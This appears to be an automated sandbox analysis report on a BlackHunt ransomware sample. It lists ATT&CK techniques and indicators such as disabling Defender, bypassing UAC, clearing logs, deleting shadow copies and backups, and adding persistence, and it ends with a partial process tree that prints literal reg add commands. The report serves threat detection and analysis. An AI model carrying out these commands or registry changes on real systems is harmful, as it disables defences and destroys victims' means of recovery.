20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5

Data Destruction

T1485

pid	Process
7744	fsutil.exe
5892	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
8232	wevtutil.exe
7552	wevtutil.exe
8012	wevtutil.exe
7684	wevtutil.exe
8680	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
8188	bcdedit.exe
6748	bcdedit.exe
3484	bcdedit.exe
5812	bcdedit.exe

Renames multiple (537) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
7024	wbadmin.exe
6428	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\O:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\S:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\U:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\H:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\L:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\W:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\F:	BackgroundTransferHost.exe
File opened (read-only)	\??\K:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\Z:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\X:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\M:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\Q:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\E:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\R:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\N:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\I:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\P:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\G:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\V:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\B:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\T:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\A:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened (read-only)	\??\J:	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr.jar	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\dotnet\ThirdPartyNotices.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\jawt_md.h	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightItalic.ttf	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\SelectRevoke.3g2	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_Private.key	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\local_policy.jar	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiItalic.ttf	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\zlib.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\mesa3d.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterRegular.ttf	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ir.idl	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\cryptix.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_pt_BR.properties	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\LICENSE	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xerces.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jvm.lib	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jre-1.8\lib\#BlackHunt_Private.key	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\Xusage.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\SplitGrant.ppt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\java.policy	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\bcel.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\cursors.properties	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_Private.key	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\README.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\lcms.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\ecc.md	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.hta	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\calendars.properties	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
11872	12964	WerFault.exe	262

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2880	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
7320	vssadmin.exe
1560	vssadmin.exe
8348	vssadmin.exe
2000	vssadmin.exe
7356	vssadmin.exe
7344	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
7064	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6776	PING.EXE

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Token: SeRestorePrivilege	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Token: SeBackupPrivilege	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Token: SeTakeOwnershipPrivilege	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Token: SeAuditPrivilege	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Token: SeSecurityPrivilege	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Token: SeIncBasePriorityPrivilege	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Token: SeBackupPrivilege	2932	vssvc.exe
Token: SeRestorePrivilege	2932	vssvc.exe
Token: SeAuditPrivilege	2932	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 2800	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	93
PID 1184 wrote to memory of 2800	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	93
PID 1184 wrote to memory of 5080	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	172
PID 1184 wrote to memory of 5080	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	172
PID 1184 wrote to memory of 4484	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	95
PID 1184 wrote to memory of 4484	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	95
PID 5080 wrote to memory of 4272	5080	cmd.exe	216
PID 5080 wrote to memory of 4272	5080	cmd.exe	216
PID 1184 wrote to memory of 4448	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	215
PID 1184 wrote to memory of 4448	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	215
PID 2800 wrote to memory of 1180	2800	cmd.exe	175
PID 2800 wrote to memory of 1180	2800	cmd.exe	175
PID 1184 wrote to memory of 4468	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	214
PID 1184 wrote to memory of 4468	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	214
PID 1184 wrote to memory of 4140	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	212
PID 1184 wrote to memory of 4140	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	212
PID 1184 wrote to memory of 324	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	210
PID 1184 wrote to memory of 324	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	210
PID 4484 wrote to memory of 4532	4484	cmd.exe	99
PID 4484 wrote to memory of 4532	4484	cmd.exe	99
PID 4448 wrote to memory of 2320	4448	cmd.exe	209
PID 4448 wrote to memory of 2320	4448	cmd.exe	209
PID 1184 wrote to memory of 2540	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	100
PID 1184 wrote to memory of 2540	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	100
PID 4468 wrote to memory of 1148	4468	cmd.exe	101
PID 4468 wrote to memory of 1148	4468	cmd.exe	101
PID 1184 wrote to memory of 3048	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	207
PID 1184 wrote to memory of 3048	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	207
PID 1184 wrote to memory of 4640	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	205
PID 1184 wrote to memory of 4640	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	205
PID 4140 wrote to memory of 2176	4140	cmd.exe	204
PID 4140 wrote to memory of 2176	4140	cmd.exe	204
PID 324 wrote to memory of 4820	324	cmd.exe	102
PID 324 wrote to memory of 4820	324	cmd.exe	102
PID 2540 wrote to memory of 2404	2540	cmd.exe	202
PID 2540 wrote to memory of 2404	2540	cmd.exe	202
PID 1184 wrote to memory of 5064	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	201
PID 1184 wrote to memory of 5064	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	201
PID 3048 wrote to memory of 2740	3048	cmd.exe	199
PID 3048 wrote to memory of 2740	3048	cmd.exe	199
PID 1184 wrote to memory of 1080	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	198
PID 1184 wrote to memory of 1080	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	198
PID 4640 wrote to memory of 2020	4640	cmd.exe	108
PID 4640 wrote to memory of 2020	4640	cmd.exe	108
PID 1184 wrote to memory of 676	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	124
PID 1184 wrote to memory of 676	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	124
PID 1184 wrote to memory of 5024	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	107
PID 1184 wrote to memory of 5024	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	107
PID 1184 wrote to memory of 3508	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	197
PID 1184 wrote to memory of 3508	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	197
PID 5064 wrote to memory of 5076	5064	cmd.exe	196
PID 5064 wrote to memory of 5076	5064	cmd.exe	196
PID 1080 wrote to memory of 1780	1080	cmd.exe	194
PID 1080 wrote to memory of 1780	1080	cmd.exe	194
PID 1184 wrote to memory of 228	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	193
PID 1184 wrote to memory of 228	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	193
PID 676 wrote to memory of 4444	676	Conhost.exe	191
PID 676 wrote to memory of 4444	676	Conhost.exe	191
PID 1184 wrote to memory of 2256	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	190
PID 1184 wrote to memory of 2256	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	190
PID 5024 wrote to memory of 3680	5024	cmd.exe	119
PID 5024 wrote to memory of 3680	5024	cmd.exe	119
PID 1184 wrote to memory of 4260	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	188
PID 1184 wrote to memory of 4260	1184	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe	188

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe
"C:\Users\Admin\AppData\Local\Temp\20e006585cfd7b4ae944a3d390a209a89a85f2bb035c4946aafb10ef49c351e5.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:5080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4532
- C:\Windows\System32\cmd.exe
